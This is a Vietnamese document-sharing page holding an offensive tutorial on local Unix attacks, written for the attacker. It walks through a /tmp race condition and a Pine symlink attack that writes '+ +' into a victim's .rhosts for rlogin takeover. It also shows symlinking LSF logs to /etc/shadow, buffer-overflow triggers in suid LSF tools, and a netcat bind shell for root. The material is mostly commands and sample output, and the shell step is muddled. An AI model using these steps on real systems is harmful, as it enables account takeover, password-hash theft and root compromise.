intTypePromotion=1
zunia.vn Tuyển sinh 2024 dành cho Gen-Z zunia.vn zunia.vn
ADSENSE

Attack From Inside Unix

Chia sẻ: Vietnam 9h | Ngày: | Loại File: DOC | Số trang:6

58
lượt xem
10
download
 
  Download Vui lòng tải xuống để xem tài liệu đầy đủ

Attack From Inside là các phương pháp tấn công từ bên trong hệ thống. Hay nói một cách khác là bạn đang ở trong hệ thống đó và tìm cách tấn công hệ thống đó ở bên trong. Chẳng hạn như bạn đã có user ở trong hệ thống đó. Nhưng bạn cần Get Root hay tấn công gây rốI loạn hệ thống đó từ bên trong thì gọI là Attack From Inside.

Chủ đề:
Lưu

Nội dung Text: Attack From Inside Unix

  1.  Attack From Inside Unix trang này đã được đọc  lần    Attack From Inside là gì ?  Attack From Inside là các phương pháp tấn công từ bên trong hệ thống. Hay nói một cách  khác là bạn đang ở trong hệ thống đó và tìm cách tấn công hệ thống đó ở bên trong. Chẳng  hạn như bạn đã có user ở trong hệ thống đó. Nhưng bạn cần Get Root hay tấn công gây rốI  loạn hệ thống đó từ bên trong thì gọI là Attack From Inside. Bài viết này sẽ nêu qua một số cách Attack dựa vào một số sơ hở của Admin và một số phần mềm điển hình trên Unix.  1) Race Conditions Attack  Race Conditions (tình trạng tranh đua) = = > Một trong những cuộc tấn công phổ biến trên các  hệ thống Unix/Linux  Race Conditions xảy ra khi một chương trình  hoặc quy trình xử lý nào đó thực hiện một sự  kiểm tra. Giữa thời gian mà một sự kiểm tra được làm và hoạt động được thực hiện, kết quả  của cuộc kiểm tra đó có thể sẽ phản chiếu trạng thái của hệ thống. Hacker sẽ lợi dụng  chương trình hoặc quy trình này trong lúc nó thực hiện đặc quyền.  Những chỗ yếu để làm nền tảng cho các cuộc tấn công Race Editions thường xuất hiện  trong những chương trình yêu cầu những tập tin tạm thời. Như đoạn Code sau:   #!/bin/sh ­ TMPFILE=/tmp/foo.$$ if test ­x $TMPFILE; then echo "temporary file already exists, possible attack" exit 255 fi #Creat our temporary file date > $TMPFILE (actual Script goes here)
  2. rm $TMPFILE Nó sẽ gắng tạo một tập tin tạm thời ở trong /tmp gọi là /tmp/foo.$$  = = > Phải chắc chắn  rằng file này không tồn tại trước khi nó được Creat. Mặc dù file /tmp/foo.$$ có thể không tồn  tại trước khi đoạn Code này được thực thi. Nhưng nó có thể được tạo ra trước những  Command ngày tháng tạo các file excute ở trước. Hiểu nôm na là làm rối loạn hệ thống bởi  ngày tháng tạo các file. Đây là cơ hội cho các Hacker...Nếu thành công họ có thể Excute các  file or các program hoặc bị thoát ra với những thông báo lỗi về ngày tháng.  Nếu Script được chạy như một Cron Job, thì thông báo error sẽ không chỉ được báo đến một  người. Hacker có thể trực tiếp thử Excute các Program đặc quyền. Để các cuộc tấn công theo  kiểu này có hiệu quả. Hacker có thể tạo ra, gây lên một sự quá tải trên hệ thống bị tấn công.  Với hy vọng CPU sẽ chuyển đổi qua lại giữa các quá trình thường xuyên hơn = = > làm quá  tải hay làm ngưng trệ hệ thống bị tấn công.   Hiệu ứng của các cuộc tấn công kiểu này phụ thuộc vào các program dễ bị tổn thương và các  file của nó (cả file tạm). Như đã nêu ở trên các Hacker có thể cố gắng buộc người dùng ghi  đè lên những file hệ thống bởi việc tạo ra các Symlink trước khi các Command về ngày tháng  được thực hiện. Chẳng hạn như các Version cũ của GCC bị Bug Race Edition = = > thì các  file tạm ở /tmp của nó sẽ dễ dàng bị các Hacker khai thác. 2) Pine Bug Trên các hệ thống Unix/Linux thường có Pine. Một chương trình Mail nhỏ và tiện dụng. Pine  các phiên bản 3.91 thường có Bug là để lại một log file tạm thời ở /tmp với Set Mode là 666.  Nó thường được xuất hiện khi một phiên Pine được hoạt động hay khi có một thư mới ở trong  Inbox.  Bây giờ bạn bắt đầu quan sát trạng thái các Process bằng lệnh "ps ­aux" và gắng quan sát  xem những user nào đang sử dụng Pine. Sau đó tạo Symlink đến file đó.  Bạn xem qua ví dụ sau: victim (nạn nhân), you (bạn)   victim@localhost#: pine     you@l  ocalhost#: ps ­aux | grep pine     you    1739    0.0 1.8   100   356    pp3   S   19:07    0:00   grep     pine victim 1732    0.8 5.7   249   1104  pp2   S   19:05    0:00   pine   you@localhost#: ls ­al /tmp/ | grep victim ­ ­ rw­rw­rw­ 1 victim elite 4 Aug 26 19:05 .302.f5a4 302.f5a4 = = > file tạm của pine tạo thành ở /tmp
  3. you@localhost# : ps ­aux | grep pine you 1744   0.0   1.8   100   356   pp3   S   19:08 0:00   grep   pine you@localhost# : ln ­s /home/victim/.rhosts /tmp/.302.f5a4 Lại tiếp tục quan sát trạng thái: you@localhost# : ps ­aux | grep pine you   1759   0.0   1.8   100   356   pp3   S   19:11   0:00   grep   pine victim  1756   2.7   5.1   226   992   pp2   S   19:10   0:00   pine you@localhost# : echo"+ +" > /tmp/.302.f5a4 you@localhost# : cat /tmp/.302.f5a4+ + you@localhost# : rm /tmp/.302.f5a4 Bây giờ chúng ta rlogin đến victim you@localhost# : rlogin litterbox.org ­l victim WOW! bây giờ bạn đã Login thành công với user victim... 3)  LSF Platform LSF Platform của http://www.platform.com là một trong những Tool dùng để quản lý tài  nguyên, ứng dụng theo dõi hoạt động và phân tích một hệ thống mạng máy tính Unix/Linux...  Tuy nhiên một số Version cũ của LSF có một số Bug khá nguy hiểm:  Vulnerability #1: Vấn đề với default log cấu hình mặc định khi cài đặt. Hacker có thể đọc  bất cứ file nào trên hệ thống và dùng Hard Link để khai thác nó: Khi cấu hình mặc định! Tất cả các file log của LSF đều được lưu giữ ở thư mục /tmp. Bằng  cách sử dụng Sym Link các Hacker có thể đọc bất cứ file nào trên hệ thống: ln ­s /etc/shadow /tmp/lim.log.hostname Khi Command được phát ra LSF sẽ nối những file log đến /etc/shadow và thay đổi  Permission khiến mọi người có thể đọc nó. Vulnerability #2: Vấn đề liên quan đến sự việc mà bất kỳ user nào cũng có thể có được các  file cấu hình. Sự việc mà những user có thể sở hữu và tuỳ biến những file cấu hình rất nguy 
  4. hiểm. Hacker có thể ra lệnh cho LSF làm những việc bất ngờ (dĩ nhiên là có hại cho hệ thống  rồi). Thay đổi LSF_ENVDIR như vậy nó sẽ hướng đến Home Directory của bạn: you@localhost# : setenv LSF_ENVDIR /my/home/you Copy các file cấu hình vào Home Directory của bạn: you@localhost# : setenv LSF_ENVDIR /my/home/you Thay đổi nội dung /my/home/dir/lsf.conf : LSB_CMD_LOGDIR=/tmp/test LSF_LOGDIR=/tmp/test Bây giờ tạo /tmp/test : you@localhost# : mkdir /tmp/test Tiếp đến Sym Link file log của LSF đến /etc/shadow you@localhost# : ln ­s /etc/shadow /tmp/test/bqc.log.hostname [ 'hostname' is your hostname ] Bây giờ bạn cần tiếp tục bắt buộc những ứng dụng LSF tới bqc.log.hostname = = > Tất nhiên  là nó cần có suid=root. Như vậy bqc.log là ứng cử viên mà chúng ta cần. Tất cả những gì chúng ta cần là hỏi "bqc"  về thông tin của hàng đợi không tồn tại. you@localhost# : bqc ­i dupa_zbita "bqc" sẽ tìm ra ngoài mà không có hàng đợi như "dupa_zbita". Sau đó nó sẽ được lưu giữ vào  log. nó sẽ sử dụng file config của chính mình /my/home/dir/lsf.conf  Vulnerability #3: Những sự bất thường bên trong "lsadmin" và "badmin". Hacker có thể khai  thác sự bất thường này để Get Root. "lsadmin" và "badmin" được thực thi khi có UID = Root.  Hơn nữa các Hacker còn có thể khai thác một số Bug "Buffer Overflow" Chúng được xuất hiện khi "lsadmin" hoặc "badmin" đang cố gắng xác định thư mục môi  trường của nó bới biến LSF_ENVDIR kiểm tra.
  5. you@localhost# : setenv LSF_ENVDIR `perl ­e 'print "A" x 292'` you@localhost# : lsadmin [or badmin] Segmentation fault Nó đã bị Buffer Overflow... Vulnerability #4: Bug này khá nguy hiểm...Hacker có thể làm tràn bộ đệm hay Get Root.  Trong trường hợp không sẵn sàng sử dụng 'eauth' như một cơ chế chứng thực. Tất cả sự thực  thi LSF được cài đặt với SUID = Root. Vấn đề này sẽ có thể dẫn đến lỗi tràn bộ đệm: you@localhost# : bstatus `perl ­e 'print "A" x 524'` Bạn có thể đặt giá trị trên 524 nếu cần... 4) Get Root  Để Get Root bạn phải lợi dụng sự sơ hở về Permission của hệ thống. Thường thì /tmp được  cấp phép khá lỏng lẻo. Đầu tiên bạn phải tạo một Shell đơn giản vào thư mục /tmp : you@localhost# : cat /tmp/rootshell #!/bin/bash /bin/bash –I Bây giờ ta lấy Netcat ra xài nào. Đặt Netcat ra Listen trên Port nào đó vào Shell mà ta mới  tạo: victim@localhost# : nc –vv –l –p 9999 –e /tmp/rootshell listening on [any] 9999  Bây giờ bạn tiếp tục Connect đến Port 9999 mà bạn đặt Listen ở trên: you@localhost#: nc –nvv hacked.machine.com 9999 hacked.machine.com [172.18.9.1] 9999 (?) open  stty: standard input: Invalid argument root@localhost#: pwd pwd /rootHy vọng qua bài viết này bạn đã phần nào hiểu được một số cách tấn công Unix…Unix  không phải là một OS bất khả xâm phạm…phải không ?
  6.  
ADSENSE

CÓ THỂ BẠN MUỐN DOWNLOAD

 

Đồng bộ tài khoản
2=>2